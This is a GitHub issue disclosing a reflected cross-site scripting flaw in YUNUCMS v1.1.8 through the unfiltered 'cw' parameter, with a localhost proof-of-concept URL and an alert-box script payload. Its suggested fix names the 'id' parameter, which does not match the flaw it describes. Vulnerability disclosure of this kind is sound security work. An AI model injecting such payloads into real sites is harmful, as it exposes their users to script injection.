New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Bug: V1.1.8 Cross Site Scripting Vulnerability #5

Open
fakerrr opened this Issue Jan 4, 2019 · 0 comments

Comments

Projects
None yet
1 participant
@fakerrr
Copy link

fakerrr commented Jan 4, 2019

There is an xss vulnerability in your latest version of the CMS v1.1.8
Download link: "http://img.yunucms.com/o_1cvnmdq4igqv3i713iq183fu7qa.zip?attname="

  1. In the YUNUCMSv1.1.8/app/index/controller/Show.php , No filtering to cw in the index( ) function:
    image
    image
    image

2.Steps To Reproduce:
Open below URL in browser which supports flash.
url:http://127.0.0.1/index.php/index/show/index?id=59&cw=YH2001-HE056%E5%8E[xsspayload]
xsspayload='><script>alert(1)</script>
exp:http://127.0.0.1/index.php/index/show/index?id=59&cw=YH2001-HE056%E5%8E%82%E5%AE%B6%27%3E%3CsCripT%3Ealert(1)%3C/sCripT%3E%3C%27&id=59
image

Fix:
Filter the id parameter

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment